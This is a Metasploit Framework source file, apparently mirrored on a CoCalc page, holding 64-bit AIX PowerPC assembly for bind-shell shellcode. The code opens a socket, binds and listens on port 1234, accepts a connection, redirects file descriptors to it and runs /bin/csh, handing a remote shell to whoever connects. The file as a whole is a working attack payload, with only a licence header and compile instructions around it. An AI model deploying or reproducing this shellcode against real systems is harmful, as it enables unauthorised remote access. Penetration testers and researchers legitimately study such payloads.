CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/external/source/unixasm/aix-power-bndsockcode64.S
Views: 11766
1
/*
2
* $Id: aix-power-bndsockcode64.S 40 2008-11-17 02:45:30Z ramon $
3
*
4
* aix-power-bndsockcode64.S - AIX Power Network server code
5
* Copyright 2008 Ramon de Carvalho Valle <[email protected]>
6
*
7
* This library is free software; you can redistribute it and/or
8
* modify it under the terms of the GNU Lesser General Public
9
* License as published by the Free Software Foundation; either
10
* version 2.1 of the License, or (at your option) any later version.
11
*
12
* This library is distributed in the hope that it will be useful,
13
* but WITHOUT ANY WARRANTY; without even the implied warranty of
14
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
15
* Lesser General Public License for more details.
16
*
17
* You should have received a copy of the GNU Lesser General Public
18
* License along with this library; if not, write to the Free Software
19
* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
20
*
21
*/
22
23
/*
24
* Compile with the following command.
25
* $ gcc -Wall -DAIXLEVEL -m64 -o aix-power-bndsockcode64
26
* aix-power-bndsockcode64.S
27
*
28
* Where AIXLEVEL is one of the currently supported AIX levels.
29
* -DV530 AIX 5.3.0
30
*
31
*/
32
33
#include "aix-power.h"
34
35
.globl .main
36
.csect .text[PR]
37
38
.main:
39
40
syscallcode:
41
xor. %r31,%r31,%r31
42
bnel syscallcode
43
mflr %r30
44
cal %r30,511(%r30)
45
cal %r30,-511+28(%r30)
46
mtctr %r30
47
bctr
48
crorc %cr6,%cr6,%cr6
49
.long 0x44ffff02
50
cal %r30,-8(%r30)
51
52
bndsockcode:
53
lil %r29,__CAL
54
55
# socket
56
57
xor %r5,%r5,%r5
58
cal %r4,-511+1(%r29)
59
cal %r3,-511+2(%r29)
60
cal %r2,__NC_socket(%r29)
61
mtctr %r30
62
bctrl
63
mr %r28,%r3
64
65
# bind
66
67
cal %r5,-511+16(%r29)
68
liu %r27,0xff02
69
oril %r27,%r27,0x04d2
70
stu %r31,-4(%r1)
71
stu %r27,-4(%r1)
72
mr %r4,%r1
73
cal %r2,__NC_bind(%r29)
74
mtctr %r30
75
bctrl
76
77
# listen
78
79
xor %r4,%r4,%r4
80
mr %r3,%r28
81
cal %r2,__NC_listen(%r29)
82
mtctr %r30
83
bctrl
84
85
# accept
86
87
xor %r5,%r5,%r5
88
xor %r4,%r4,%r4
89
mr %r3,%r28
90
cal %r2,__NC_accept(%r29)
91
mtctr %r30
92
bctrl
93
mr %r26,%r3
94
95
# close
96
97
cal %r25,-511+2(%r29)
98
99
0:
100
mr %r3,%r25
101
cal %r2,__NC_close(%r29)
102
mtctr %r30
103
bctrl
104
105
# kfcntl
106
107
mr %r5,%r25
108
xor %r4,%r4,%r4
109
mr %r3,%r26
110
cal %r2,__NC_kfcntl(%r29)
111
mtctr %r30
112
bctrl
113
114
ai. %r25,%r25,-1
115
bge 0b
116
117
shellcode64:
118
# lil %r31,__CAL
119
xor. %r5,%r5,%r5
120
bnel shellcode64
121
# mflr %r30
122
# cal %r30,511(%r30)
123
# cal %r3,-511+40(%r30)
124
# stb %r5,-511+48(%r30)
125
mflr %r24
126
cal %r24,511(%r24)
127
cal %r3,-511+40(%r24)
128
stb %r5,-511+48(%r24)
129
stdu %r5,-8(%r1)
130
stdu %r3,-8(%r1)
131
mr %r4,%r1
132
# cal %r2,__NC_execve(%r31)
133
cal %r2,__NC_execve(%r29)
134
# crorc %cr6,%cr6,%cr6
135
# .long 0x44ffff02
136
mtctr %r30
137
bctrl
138
.asciz "/bin/csh"
139
140
141